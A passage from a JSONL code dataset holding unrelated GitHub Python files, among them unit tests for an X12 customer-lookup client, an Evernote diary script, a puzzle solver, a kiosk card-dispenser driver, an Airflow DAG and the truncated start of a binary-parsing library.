page_wide_block=FullWidthBaseBlock()\n two_column_block = TwoColumnBaseBlock()\n three_column_block = ThreeColumnBaseBlock()\n","repo_name":"enzedonline/helenerodenposzler.com","sub_path":"core/blocks.py","file_name":"blocks.py","file_ext":"py","file_size_in_byte":23410,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"18681943929","text":"from x12genapp.genapp import (get_customers,\n parse_genapp_customer)\nfrom x12genapp.config import AppSettings\nfrom x12genapp.x12.model import X12Demographics\nimport pytest\nimport json\nimport responses\n\n\n@pytest.fixture\ndef app_settings() -> AppSettings:\n settings = AppSettings()\n # override defaults for test cases\n settings.genapp_customer_min_id = 1\n settings.genapp_customer_max_id = 2\n return settings\n\n\n@pytest.fixture\ndef genapp_no_customer_match_response() -> bytes:\n \"\"\"Returns a raw response where a customer lookup is not found\"\"\"\n return b'{\"LGCMAREA\":{\"CA_REQUEST_SPECIFIC\":\"000\",\"CA_CUSTOMER_REQUEST\":{\"CA_DOB\":\"\",\"CA_FIRST_NAME\":\"\",\"CA_POLICY_DATA\":\"\",\"CA_LAST_NAME\":\"\",\"CA_HOUSE_NAME\":\"\",\"CA_NUM_POLICIES\":0,\"CA_HOUSE_NUM\":\"\",\"CA_POSTCODE\":\"\"},\"CA_RETURN_CODE\":1,\"CA_CUSTOMER_NUM\":200}}'\n\n\n@pytest.fixture\ndef genapp_first_customer_response() -> bytes:\n \"\"\"Returns a matching customer lookup result\"\"\"\n return b'{\"LGCMAREA\":{\"CA_REQUEST_SPECIFIC\":\"Andrew Pandy 1950-07-11 34 PI101OO 00007799 123456 01962 811234 A.Pandy@beebhouse.com\",\"CA_CUSTOMER_REQUEST\":{\"CA_DOB\":\"1950-07-11\",\"CA_FIRST_NAME\":\"Andrew\",\"CA_POLICY_DATA\":\"07799 123456 01962 811234 A.Pandy@beebhouse.com\",\"CA_LAST_NAME\":\"Pandy\",\"CA_HOUSE_NAME\":\"\",\"CA_NUM_POLICIES\":0,\"CA_HOUSE_NUM\":\"34\",\"CA_POSTCODE\":\"PI101OO\"},\"CA_RETURN_CODE\":0,\"CA_CUSTOMER_NUM\":1}}'\n\n\n@pytest.fixture\ndef genapp_second_customer_response() -> bytes:\n \"\"\"Returns a matching customer lookup result\"\"\"\n return b'{\"LGCMAREA\":{\"CA_REQUEST_SPECIFIC\":\"Scott Tracey 1965-09-30Tracey Island 1 TB14TV 000 001 911911 REFROOM@TBHOLDINGS.COM\",\"CA_CUSTOMER_REQUEST\":{\"CA_DOB\":\"1965-09-30\",\"CA_FIRST_NAME\":\"Scott\",\"CA_POLICY_DATA\":\" 001 911911 REFROOM@TBHOLDINGS.COM\",\"CA_LAST_NAME\":\"Tracey\",\"CA_HOUSE_NAME\":\"Tracey Island\",\"CA_NUM_POLICIES\":0,\"CA_HOUSE_NUM\":\"1\",\"CA_POSTCODE\":\"TB14TV\"},\"CA_RETURN_CODE\":0,\"CA_CUSTOMER_NUM\":2}}'\n\n\ndef test_parse_genapp_customer_no_match(genapp_no_customer_match_response):\n \"\"\"Tests parse_genapp_customer where a match is not found\"\"\"\n unmatched_response = json.loads(genapp_no_customer_match_response)\n actual = parse_genapp_customer(unmatched_response)\n assert actual is None\n\n\ndef test_parse_genapp_customer_match(genapp_first_customer_response):\n \"\"\"Tests parse_genapp_customer where a match is found\"\"\"\n expected = X12Demographics()\n expected.provenance_id = 1\n expected.first_name = 'ANDREW'\n expected.last_name = 'PANDY'\n expected.birth_date = '19500711'\n\n matched_response = json.loads(genapp_first_customer_response)\n actual = parse_genapp_customer(matched_response)\n\n assert expected.provenance_id == actual.provenance_id\n assert expected.first_name == actual.first_name\n assert expected.last_name == actual.last_name\n assert expected.birth_date == actual.birth_date\n\n\n@responses.activate\ndef test_get_customers(genapp_first_customer_response,\n genapp_second_customer_response,\n app_settings,\n monkeypatch):\n \"\"\"Tests get_customers where two records are returned\"\"\"\n monkeypatch.setattr('x12genapp.genapp.get_app_settings', lambda: app_settings)\n\n lookup_url = f'{app_settings.genapp_base_url}{app_settings.genapp_customer_lookup}'\n responses.add(\n responses.GET,\n lookup_url + '/1',\n json=json.loads(genapp_first_customer_response)\n )\n\n responses.add(\n responses.GET,\n lookup_url + '/2',\n json=json.loads(genapp_second_customer_response)\n )\n\n actual = get_customers()\n\n assert len(actual) == 2\n assert len(responses.calls) == 2\n assert responses.calls[0].request.url == lookup_url + '/1'\n assert responses.calls[1].request.url == lookup_url + '/2'\n","repo_name":"dixonwhitmire/x12genapp","sub_path":"tests/test_genapp.py","file_name":"test_genapp.py","file_ext":"py","file_size_in_byte":3932,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"61"} +{"seq_id":"39719255710","text":"# coding: utf-8\nfrom datetime import datetime as dt\nfrom bs4 import BeautifulSoup\n\nfrom evernote.api.client import EvernoteClient\nimport evernote.edam.type.ttypes as Types\nimport evernote.edam.notestore.ttypes as NoteStore\n\nclass EvernoteDiary:\n def __init__(self, evernote_token):\n client = EvernoteClient(\n token = evernote_token,\n sandbox=False\n )\n\n self.noteStore = client.get_note_store()\n\n def createDiary(self, title):\n note = Types.Note(title=title, notebookGuid=\"a600f79c-f5e8-46dd-87a8-7406b134c5e9\")\n note = self.noteStore.createNote(note)\n note.content = ''\n return note\n\n def getNotes(self, words):\n note_filter = NoteStore.NoteFilter()\n note_filter.words = words\n notes_metadata_result_spec = NoteStore.NotesMetadataResultSpec()\n\n notes = self.noteStore.findNotesMetadata(\n note_filter, 0, 1, notes_metadata_result_spec\n )\n\n return notes\n\n def getTodayDiary(self):\n today_diary = dt.now().strftime('%Y%m%d')\n notes = self.getNotes(today_diary)\n note = None\n if notes.totalNotes > 0:\n note = self.noteStore.getNote(notes.notes.pop().guid, True, False, False, False)\n else:\n note = self.createDiary(today_diary)\n\n return note\n\n def getBorder(self, soup):\n border = soup.new_tag('div')\n border['style'] = \"border-bottom: solid 1px #eeeeee;\"\n return border\n\n def replace_newline_with_br(self, content, soup):\n lines = content.split('\\n')\n div = soup.new_tag('div')\n for line in lines:\n div.append(line)\n div.append(soup.new_tag('br'))\n div.append(self.getBorder(soup))\n soup.find(\"en-note\").append(div)\n\n def setContent2Note(self, note, content):\n soup = BeautifulSoup(note.content, \"html.parser\")\n\n self.replace_newline_with_br(content, soup)\n\n note.content = soup.prettify()\n self.noteStore.updateNote(note)\n\n def keepDiary(self, content):\n note = self.getTodayDiary()\n self.setContent2Note(note, content)\n\n","repo_name":"kokoax/slack_diary","sub_path":"evnote.py","file_name":"evnote.py","file_ext":"py","file_size_in_byte":2239,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"42468963010","text":"\"\"\"\n +---+---+---+---+---+\n5 | @ | | @ | | @ |\n +---+---+---+---+---+\n4 | | | | | |\n +---+---+---+---+---+\n3 | | | X | | |\n +---+---+---+---+---+\n2 | | | | | @ |\n +---+---+---+---+---+\n1 | | A | | | |\n +---+---+---+---+---+\n 1 2 3 4 5\n\nAn astronaut needs to go to the middle of the square (mark with X).\n\n\"\"\"\nASTRONAUT = 'A'\nROBOT = '@'\nEMPTY = ' '\n\n\nclass AstronautRun:\n win_x = 3\n win_y = 3\n\n def __init__(self, width: int = 5, height: int = 5):\n self.width, self.height = width, height\n self.board = EMPTY * self.width * self.height\n\n self.board = self.set_element(self.board, 'A', 2, 1)\n self.board = self.set_element(self.board, '1', 1, 5)\n self.board = self.set_element(self.board, '2', 3, 5)\n self.board = self.set_element(self.board, '3', 5, 5)\n self.board = self.set_element(self.board, '4', 5, 2)\n\n def get_index(self, x, y):\n i = (x - 1) + self.width * (y - 1)\n if len(self.board) <= i:\n raise ValueError(f'Invalid point ({x}, {y})')\n return i\n\n def get_element(self, board, x, y):\n i = self.get_index(x, y)\n return board[i]\n\n def set_element(self, board, name, x, y):\n i = self.get_index(x, y)\n board = board[:i] + name + board[i + 1:]\n return board\n\n def get_next_moves(self, board: str):\n \"\"\"\n This function returns all the possible moves of first move of the given board\n :param board:\n :return:\n \"\"\"\n moves = []\n for y in range(1, self.height + 1):\n for x in range(1, self.width + 1):\n name = self.get_element(board, x, y)\n if name != EMPTY:\n # Check if element can move up:\n for i in range(y + 1, self.height + 1):\n other = self.get_element(board, x, i)\n if other != EMPTY:\n if 1 < i - y:\n # print(f'{name} can move UP to {other}!!')\n new_board = self.set_element(board, EMPTY, x, y)\n new_board = self.set_element(new_board, name, x, i - 1)\n moves.append(new_board)\n break\n\n # Check if element can move down:\n for i in range(y - 1, 0, -1):\n other = self.get_element(board, x, i)\n if other != EMPTY:\n if 1 < y - i:\n # print(f'{name} can move DOWN to {other}!!')\n new_board = self.set_element(board, EMPTY, x, y)\n new_board = self.set_element(new_board, name, x, i + 1)\n moves.append(new_board)\n break\n\n # Check if element can move right:\n for i in range(x + 1, self.width + 1):\n other = self.get_element(board, i, y)\n if other != EMPTY:\n if 1 < i - x:\n # print(f'{name} can move RIGHT to {other}!!')\n new_board = self.set_element(board, EMPTY, x, y)\n new_board = self.set_element(new_board, name, i - 1, y)\n moves.append(new_board)\n break\n\n # Check if element can move right:\n for i in range(x - 1, 0, -1):\n other = self.get_element(board, i, y)\n if other != EMPTY:\n if 1 < x - i:\n # print(f'{name} can move LEFT to {other}!!')\n new_board = self.set_element(board, EMPTY, x, y)\n new_board = self.set_element(new_board, name, i + 1, y)\n moves.append(new_board)\n break\n\n return moves\n\n def print(self):\n self.print_board(self.board)\n\n def print_board(self, board):\n txt = ''\n lines = [board[index: index + self.width] for index in range(0, len(board), self.width)]\n for i in range(self.height - 1, -1, -1):\n line = [char for char in lines[i]]\n txt += ' +' + '---+' * self.width + '\\n'\n txt += f' {i + 1} | ' + ' | '.join(line) + ' |' + '\\n'\n txt += ' +' + '---+' * self.width + '\\n'\n txt += ' ' + ' '.join([str(i) for i in range(1, self.width + 1)]) + '\\n'\n print(txt)\n\n def win_board(self, board):\n name = self.get_element(board, self.win_x, self.win_y)\n return name == ASTRONAUT\n\n def build_tree(self):\n queue = []\n visited = {}\n\n queue.append(('', self.board))\n visited[self.board] = ''\n\n while queue:\n parent, s = queue.pop(0)\n # self.print_board(s)\n\n if not self.win_board(s):\n moves = self.get_next_moves(s)\n\n for move in moves:\n if move not in visited:\n visited[move] = s\n queue.append((s, move))\n else:\n print('WIN!!')\n\n p = s\n q = []\n while p:\n q.append(p)\n p = visited[p]\n\n q.reverse()\n for i, line in enumerate(q):\n if i:\n print(f'Step {i}:')\n else:\n print(f'Start:')\n self.print_board(line)\n\n break\n\n\nif __name__ == '__main__':\n ar = AstronautRun()\n ar.build_tree()\n","repo_name":"yakinew/astronaut","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":5752,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"74333098113","text":"__author__ = 'fitrah.wahyudi.imam@gmail.com'\n\n\nfrom _cConfig import _ConfigParser, _Common\nfrom _cCommand import _Command\nfrom PyQt5.QtCore import QObject, pyqtSignal\nimport logging\nfrom _tTools import _Helper\nfrom time import sleep\nimport os\nimport sys\nimport subprocess\nimport json\n\n\nLOGGER = logging.getLogger()\nCD_PORT1 = _Common.CD_PORT1\nCD_PORT2 = _Common.CD_PORT2\nCD_PORT3 = _Common.CD_PORT3\nCD_MID = ''\nCD_TID = ''\n\nCD_EXEC = os.path.join(sys.path[0], '_lLib', 'cd', 'card_disp.exe')\nCD_EXEC_V2 = os.path.join(sys.path[0], '_lLib', 'cd', 'v2', 'card.exe')\nV2_PATH = os.path.join(sys.path[0], '_lLib', 'cd', 'v2')\nCD_INIT = os.path.join(sys.path[0], '_lLib', 'cd_init', 'start.exe')\n\nCD = {\n \"OPEN\": \"101\",\n \"INIT\": \"102\",\n \"MOVE\": \"103\",\n \"HOLD\": \"104\",\n \"STOP\": \"105\"\n}\n\nCD_PORT_LIST = _Common.CD_PORT_LIST\n\nclass CDSignalHandler(QObject):\n __qualname__ = 'CDSignalHandler'\n SIGNAL_CD_MOVE = pyqtSignal(str)\n SIGNAL_CD_HOLD = pyqtSignal(str)\n SIGNAL_CD_STOP = pyqtSignal(str)\n SIGNAL_MULTIPLE_EJECT = pyqtSignal(str)\n SIGNAL_CD_READINESS = pyqtSignal(str)\n SIGNAL_CD_PORT_INIT = pyqtSignal(str)\n\n\nCD_SIGNDLER = CDSignalHandler()\nINIT_STATUS = False\n\n\ndef reinit_v2_config():\n with open(os.path.join(V2_PATH, 'card.ini'), 'w') as init:\n init.write('path='+V2_PATH)\n init.close()\n with open(os.path.join(V2_PATH, '101.card.ini'), 'w') as cd1:\n cd1.write('com='+CD_PORT1+os.linesep+'baud=9600')\n cd1.close()\n with open(os.path.join(V2_PATH, '102.card.ini'), 'w') as cd2:\n cd2.write('com='+CD_PORT2+os.linesep+'baud=9600')\n cd2.close()\n with open(os.path.join(V2_PATH, '103.card.ini'), 'w') as cd3:\n cd3.write('com='+CD_PORT3+os.linesep+'baud=9600')\n cd3.close()\n \n\ndef open_card_disp():\n if CD_PORT1 is None:\n LOGGER.debug((\"[ERROR] open_card_disp port : \", CD_PORT1))\n _Common.CD1_ERROR = 'PORT_NOT_OPENED'\n return False\n param = CD[\"OPEN\"] + \"|\" + CD_PORT1\n response, result = _Command.send_request(param=param, output=None)\n LOGGER.debug((param, result))\n # return True if '0' in status else False\n return True if response == 0 else False\n\n\ndef init_card_disp():\n global INIT_STATUS\n param = CD[\"INIT\"] + \"|\"\n response, result = _Command.send_request(param=param, output=None)\n LOGGER.debug((param, result))\n INIT_STATUS = True if response == 0 else False\n return INIT_STATUS\n\n\ndef start_move_card_disp():\n attempt = 1\n _Helper.get_pool().apply_async(move_card_disp, (attempt,))\n\n\ndef start_get_multiple_eject_status():\n _Helper.get_pool().apply_async(get_multiple_eject_status, )\n\n\nMULTIPLE_EJECT = True if (_ConfigParser.get_set_value('CD', 'multiple^eject', '0') == '1') else False\n\n\ndef get_multiple_eject_status():\n global MULTIPLE_EJECT\n check_multiple_eject = _ConfigParser.get_set_value('CD', 'multiple^eject', '0')\n MULTIPLE_EJECT = 'AVAILABLE' if check_multiple_eject == '1' else 'N/A'\n # print('pyt: MULTIPLE_EJECT_STATUS -> ' + eject_status)\n LOGGER.debug(('get_multiple_eject_status', MULTIPLE_EJECT))\n CD_SIGNDLER.SIGNAL_MULTIPLE_EJECT.emit(MULTIPLE_EJECT)\n\n\ndef start_multiple_eject(attempt, multiply):\n _Helper.get_pool().apply_async(simply_eject, (attempt, multiply,))\n\n\ndef simply_eject(attempt, multiply):\n # _cd_selected_port = None\n # try:\n # selected_port = CD_PORT_LIST[attempt]\n # # LOGGER.info(('_cd_selected_port :', _cd_selected_port))\n # except IndexError:\n # LOGGER.warning(('Failed to Select CD Port', attempt))\n # CD_SIGNDLER.SIGNAL_CD_MOVE.emit('EJECT|ERROR')\n # return\n # if _Common.TEST_MODE is True:\n # CD_SIGNDLER.SIGNAL_CD_MOVE.emit('EJECT|SUCCESS')\n # LOGGER.debug(('ByPassing Mode', str(_Common.TEST_MODE), attempt, multiply))\n # return\n try:\n # command = CD_EXEC + \" hold \" + selected_port\n # Switch To V2\n command = CD_EXEC_V2 + \" card \" + str(attempt)\n process = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE)\n output = process.communicate()[0].decode('utf-8').strip().split(\"\\r\\n\")\n output = output[0].split(\";\")\n response = json.loads(output[0])\n LOGGER.debug(('simply_eject', command, 'output', output, 'response', response))\n if response.get('ec') is not None:\n if response['ec'] > -1:\n # Force Reply Success in TESTING MODE\n if multiply == '1':\n CD_SIGNDLER.SIGNAL_CD_MOVE.emit('EJECT|SUCCESS')\n else:\n CD_SIGNDLER.SIGNAL_CD_MOVE.emit('EJECT|PARTIAL')\n else:\n set_false_output(attempt, 'DEVICE_NOT_OPEN|' + attempt, 'simply_eject')\n else:\n set_false_output(attempt, 'DEVICE_NOT_OPEN|' + attempt, 'simply_eject')\n except Exception as e:\n set_false_output(attempt, str(e)+'|'+attempt, 'simply_eject')\n\n\ndef eject_full_round(attempt):\n # attempt is defined from product status as address\n _cd_selected_port = None\n try:\n _cd_selected_port = CD_PORT_LIST[attempt]\n LOGGER.info(('_cd_selected_port :', _cd_selected_port))\n except IndexError:\n LOGGER.warning(('Failed to Select CD Port', _cd_selected_port))\n CD_SIGNDLER.SIGNAL_CD_MOVE.emit('EJECT|ERROR')\n return\n try:\n # Open CD Port\n param = CD[\"OPEN\"] + \"|\" + _cd_selected_port\n response, result = _Command.send_request(param=param, output=None)\n LOGGER.debug((\"eject_full_round [OPEN] : \", param, result))\n # return True if '0' in status else False\n if response == 0:\n # Init CD Port\n sleep(1)\n param = CD[\"INIT\"] + \"|\"\n response, result = _Command.send_request(param=param, output=None)\n LOGGER.debug((\"eject_full_round [INIT] : \", param, result))\n if response == 0:\n # Eject From CD\n sleep(1)\n param = CD[\"MOVE\"] + \"|\"\n response, result = _Command.send_request(param=param, output=None)\n LOGGER.debug((\"eject_full_round [MOVE] : \", param, result))\n if response == 0:\n CD_SIGNDLER.SIGNAL_CD_MOVE.emit('EJECT|SUCCESS')\n else:\n set_false_output(attempt, 'DEVICE_NOT_MOVE|'+attempt)\n return\n # Stop/Close The Connection Session\n sleep(1)\n param = CD[\"STOP\"] + \"|\"\n response, result = _Command.send_request(param=param, output=None)\n LOGGER.debug((\"eject_full_round [STOP] : \", param, result))\n else:\n set_false_output(attempt, 'DEVICE_NOT_INIT|'+attempt)\n return\n else:\n set_false_output(attempt, 'DEVICE_NOT_OPEN|'+attempt)\n return\n except Exception as e:\n set_false_output(attempt, str(e) + '|' + attempt)\n\n\ndef set_false_output(attempt, error_message, method='eject_full_round'):\n if attempt == '101':\n _Common.CD1_ERROR = error_message\n _Common.upload_device_state('cd1', _Common.CD1_ERROR)\n\n if attempt == '102':\n _Common.CD2_ERROR = error_message\n _Common.upload_device_state('cd2', _Common.CD2_ERROR)\n\n if attempt == '103':\n _Common.CD3_ERROR = error_message\n _Common.upload_device_state('cd3', _Common.CD3_ERROR)\n\n LOGGER.warning((method, str(attempt), error_message))\n CD_SIGNDLER.SIGNAL_CD_MOVE.emit('EJECT|ERROR')\n\n\ndef move_card_disp(attempt):\n if INIT_STATUS is not True:\n CD_SIGNDLER.SIGNAL_CD_MOVE.emit('ERROR')\n _Common.CD1_ERROR = 'DEVICE_NOT_INIT'\n return\n param = CD[\"HOLD\"] + \"|\"\n if MULTIPLE_EJECT is True:\n param = CD[\"MOVE\"] + \"|\"\n for x in range(attempt):\n response, result = _Command.send_request(param=param, output=None)\n LOGGER.debug((\"move_card_disp : \", param, result, str(x)))\n if x == (attempt-1):\n if response == 0:\n CD_SIGNDLER.SIGNAL_CD_MOVE.emit('EJECT|SUCCESS-' + str(x))\n else:\n _Common.CD1_ERROR = 'FAILED_TO_EJECT'\n CD_SIGNDLER.SIGNAL_CD_MOVE.emit('EJECT|ERROR-' + str(x))\n else:\n continue\n sleep(1)\n\n\ndef start_hold_card_disp():\n _Helper.get_pool().apply_async(hold_card_disp, )\n\n\ndef hold_card_disp():\n if INIT_STATUS is not True:\n CD_SIGNDLER.SIGNAL_CD_HOLD.emit('ERROR')\n _Common.CD1_ERROR = 'DEVICE_NOT_INIT'\n return\n param = CD[\"HOLD\"] + \"|\"\n response, result = _Command.send_request(param=param, output=None)\n LOGGER.debug((\"hold_card_disp : \", param, result))\n if response == 0:\n CD_SIGNDLER.SIGNAL_CD_HOLD.emit('SUCCESS')\n else:\n _Common.CD1_ERROR = 'FAILED_TO_HOLD_EJECT'\n CD_SIGNDLER.SIGNAL_CD_HOLD.emit('ERROR')\n\n\ndef start_stop_card_disp():\n _Helper.get_pool().apply_async(stop_card_disp, )\n\n\ndef stop_card_disp():\n if INIT_STATUS is not True:\n CD_SIGNDLER.SIGNAL_CD_STOP.emit('ERROR')\n _Common.CD1_ERROR = 'DEVICE_NOT_INIT'\n return\n param = CD[\"STOP\"] + \"|\"\n response, result = _Command.send_request(param=param, output=None)\n LOGGER.debug((\"stop_card_disp : \", param, result))\n if response == 0:\n CD_SIGNDLER.SIGNAL_CD_STOP.emit('SUCCESS')\n else:\n _Common.CD1_ERROR = 'DEVICE_NOT_STOP'\n CD_SIGNDLER.SIGNAL_CD_STOP.emit('ERROR')\n\n\ndef start_check_init_cd(com):\n _Helper.get_pool().apply_async(init_cd, (com, ))\n\n\ndef init_cd(com):\n command = CD_INIT + \" init \" + str(com)\n process = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE)\n output = process.communicate()[0].decode('utf-8').strip().split(\"\\r\\n\")\n output = output[0].split(\";\")\n LOGGER.debug(('init_cd', com, output))\n CD_SIGNDLER.SIGNAL_CD_PORT_INIT.emit(json.dumps({'port': com, 'status': output}))\n return True if '1' not in output else False\n\n\ndef kiosk_get_cd_readiness():\n _Helper.get_pool().apply_async(get_cd_readiness, )\n\n\ndef get_cd_readiness():\n if _Common.digit_in(_Common.CD_PORT1) is True:\n _Common.CD_READINESS['port1'] = 'AVAILABLE' if init_cd(_Common.CD_PORT1) is True else 'N/A'\n if _Common.digit_in(_Common.CD_PORT2) is True:\n _Common.CD_READINESS['port2'] = 'AVAILABLE' if init_cd(_Common.CD_PORT2) is True else 'N/A'\n if _Common.digit_in(_Common.CD_PORT3) is True:\n _Common.CD_READINESS['port3'] = 'AVAILABLE' if init_cd(_Common.CD_PORT3) is True else 'N/A'\n CD_SIGNDLER.SIGNAL_CD_READINESS.emit(json.dumps(_Common.CD_READINESS))\n LOGGER.debug(('get_cd_readiness', json.dumps(_Common.CD_READINESS)))\n","repo_name":"ciwanridwan/Unified-Vm","sub_path":"_dDevice/_CD.py","file_name":"_CD.py","file_ext":"py","file_size_in_byte":10715,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"71151253634","text":"print('Задача 2. Грубая математика')\nimport math\n\nwhile True:\n x = float(input(\"Введите число: \"))\n if x > 0:\n z = math.ceil(x)\n y = math.log(z)\n print(f\"x = {z} log(x) = {y}\")\n else:\n z = math.floor(x)\n y = math.exp(z)\n print(f\"x = {z} exp(x) = {y}\")\n\n","repo_name":"DefaultPerson/python-learn-guide","sub_path":"python_course/python_course_answers/module_1_1/2.py","file_name":"2.py","file_ext":"py","file_size_in_byte":342,"program_lang":"python","lang":"ru","doc_type":"code","stars":3,"dataset":"github-code","pt":"61"} +{"seq_id":"1025023400","text":"# 문제 2-2 문제 2-1에서 구한 주식 총액에서 다음과 네이버의 주가가 각각 5%, 10% 하락한 경우에 손실액을 구하는 프로그램을 작성하세요.\n\nstockpriceDaum = 89000\nstockpriceNaver = 751000\nposStockDaum = 100\nposStockNaver = 20\n\nstockpriceDaum = stockpriceDaum * 0.95\nstockpriceNaver = stockpriceNaver * 0.9\n\nstockpriceSum = (stockpriceDaum * posStockDaum) + (stockpriceNaver * posStockNaver)\nprint(stockpriceSum)\n","repo_name":"AvocatDSM/Fresh-Avocado","sub_path":"phyyou/pyPrac/algorithmtrading_q_ch_2/2-2.py","file_name":"2-2.py","file_ext":"py","file_size_in_byte":454,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"40449066220","text":"\"\"\"Evaluate the density (defined as ratio between zero and non-zero values) in matrices.\"\"\"\nimport itertools\n\nfrom tqdm import tqdm\n\nimport common as com_xp\nimport entropix.utils.metrix as metrix\n\n\ndef binize(data, bin_size):\n \"\"\"Binning a numpy array.\"\"\"\n return data[:(data.size // bin_size) * bin_size].reshape(-1, bin_size)\n\n\nif __name__ == '__main__':\n START = 0\n END = 10000\n #SVD_DIRPATH = '/home/kabbach/entropix/models/frontiers/aligned/'\n SVD_DIRPATH = '/Users/akb/Github/entropix/models/frontiers/aligned/'\n #MODEL_NAMES = ['enwiki07', 'oanc', 'enwiki2', 'acl', 'enwiki4', 'bnc']\n MODEL_NAMES = ['enwiki07', 'oanc']\n EPSILON = 1e-4\n BIN_SIZE = 30\n models = com_xp.load_aligned_models(MODEL_NAMES, SVD_DIRPATH, START, END)\n for tuple1, tuple2 in itertools.combinations(models, 2):\n name1 = tuple1[0]\n model1 = tuple1[1]\n name2 = tuple2[0]\n model2 = tuple2[1]\n print('Processing models {} and {}'.format(name1, name2))\n with open('{}-{}-xcorr.dat'.format(name1, name2), 'w', encoding='utf-8') as outs:\n for col1, col2 in tqdm(zip(model1.T, model2.T), total=model1.shape[1]):\n xcorr, max_corr, offset = metrix.cross_correlation(col1, col2)\n xcorr /= metrix.xcorr_norm(col1, col2)\n max_corr /= metrix.xcorr_norm(col1, col2)\n print('{}\\t{}\\t{}'.format(xcorr, max_corr, offset), file=outs)\n # xcorr = metrix.pearson_correlation(col1, col2)\n # print(xcorr, file=outs)\n","repo_name":"akb89/entropix","sub_path":"experiments/xp500.py","file_name":"xp500.py","file_ext":"py","file_size_in_byte":1551,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"61"} +{"seq_id":"23449436431","text":"import sys\n\nif len(sys.argv) == 1:\n print(\"No input file provided.\")\n sys.exit()\nelse:\n filename = sys.argv[1]\n try:\n fileobject = open(filename, 'r')\n except:\n print(\"Failed to open given file.\")\n sys.exit()\n try:\n firstLine = fileobject.readline()\n except:\n print(\"Failed to read first line.\")\n sys.exit()\n datasetSize = int(firstLine)\n if not datasetSize:\n print(\"Unable to parse dataset size.\")\n sys.exit()\n lineNr = 1\n for i in range(datasetSize):\n lineNr = lineNr + 1\n try:\n lineText = fileobject.readline()\n except:\n print(\"Failed to read line \", lineNr)\n sys.exit()\n if lineText[-1] == \"\\n\":\n textToParse = lineText[0:-1]\n else:\n textToParse = lineText\n inputParams = textToParse.split(\" \")\n Smax = int(inputParams[0]) # size of omino\n Slist = list(map(int, inputParams[1])) # list of shyness levels and people present\n peopleClapping = Slist[0]\n toInvite = 0\n for shyness in range(1, len(Slist)):\n if peopleClapping < shyness:\n newToInvite = shyness - peopleClapping\n toInvite += newToInvite\n peopleClapping = shyness\n peopleClapping += Slist[shyness]\n if i == 0:\n startCharacter = \"\"\n else:\n startCharacter = \"\\n\"\n print(startCharacter, \"Case #\", i+1, \": \", toInvite, end=\"\", sep=\"\")","repo_name":"dr-dos-ok/Code_Jam_Webscraper","sub_path":"solutions_python/Problem_155/1564.py","file_name":"1564.py","file_ext":"py","file_size_in_byte":1524,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"74730020993","text":"from datetime import datetime, timedelta\nfrom airflow import DAG\nfrom airflow.operators.postgres_operator import PostgresOperator\nfrom sql_statements import sql_dict\n\n\nwith DAG(\n dag_id='create_db_dag',\n # default_args=default_args,\n description='my postgres',\n start_date=datetime(2022, 9, 12),\n catchup=False,\n schedule_interval='@once',\n tags=['dag_postgres_v1']\n) as dag:\n task1 = PostgresOperator(\n task_id='Create_table', postgres_conn_id='postgres_my', autocommit=True,\n sql=sql_dict['create_table'])\n\n task1\n","repo_name":"FLpython/airflow_in_docker","sub_path":"dags/create_db.py","file_name":"create_db.py","file_ext":"py","file_size_in_byte":585,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"2558385204","text":"\nif bytes is str:\n print('Binary parsing unsupported in this Python version')\nelse:\n\n\n from lepl.stream.stream import SimpleStream\n \n STRICT = 'strict'\n \n \n class Int(int):\n '''\n An integer with a length (the number of bits). This extends Python's type\n system so that we can distinguish between different integer types, which\n may have different encodings.\n '''\n \n def __new__(cls, value, length):\n return super(Int, cls).__new__(cls, str(value), 0)\n \n def __init__(self, value, length):\n super(Int, self).__init__()\n self.__length = length\n \n def __len__(self):\n return self.__length\n \n def __repr__(self):\n return 'Int({0},{1})'.format(super(Int, self).__str__(), \n self.__length)\n \n \n def swap_table():\n '''\n Table of reversed bit patterns for 8 bits.\n '''\n # pylint: disable-msg=C0103\n table = [0] * 256\n power = [1 << n for n in range(8)]\n for n in range(8):\n table[1 << n] = 1 << (7 - n)\n for i in range(256):\n if not table[i]:\n for p in power:\n if i & p:\n table[i] |= table[p]\n table[table[i]] = i\n return table\n \n \n class BitString(object):\n '''\n A sequence of bits, of arbitrary length. Has similar semantics to\n strings, in that a single index is itself a BitString (of unit length).\n \n This is intended as a standard format for arbitrary binary data, to help\n with conversion between other types. In other words, convert to and from\n this, and then chain conversions.\n \n BitStr are stored as a contiguous sequence in an array of bytes. Both bits\n and bytes are \"little endian\" - this allows arbitrary lengths of bits,\n at arbitrary offsets, to be given values without worrying about\n alignment.\n \n The bit sequence starts at bit 'offset' in the first byte and there are\n a total of 'length' bits. The number of bytes stored is the minimum\n implied by those two values, with zero padding.\n '''\n \n __swap = swap_table() \n \n def __init__(self, value=None, length=0, offset=0):\n '''\n value is a bytes() instance that contains the data.\n \n length is the number of valid bits. If given as a float it is the\n number of bytes (bits = int(float) * 8 + decimal(float) * 10)\n \n offset is the index of the first valid bit in the value. \n '''\n if value is None:\n value = bytes()\n if not isinstance(value, bytes):\n raise TypeError('BitString wraps bytes: {0!r}'.format(value))\n if length < 0:\n raise ValueError('Negative length: {0!r}'.format(length))\n if not 0 <= offset < 8 :\n raise ValueError('Non-byte offset: {0!r}'.format(offset))\n self.__bytes = value\n self.__length = unpack_length(length)\n self.__offset = offset\n if len(value) != bytes_for_bits(self.__length, self.__offset):\n raise ValueError('Inconsistent length: {0!r}/{1!r}'\n .format(value, length))\n \n def bytes(self, offset=0):\n '''\n Return a series of bytes values, which encode the data for len(self)\n bits when offset=0 (with final padding in the last byte if necessary).\n It is the caller's responsibility to discard any trailing bits.\n \n When 0 < offset < 8 then the data are zero-padded by 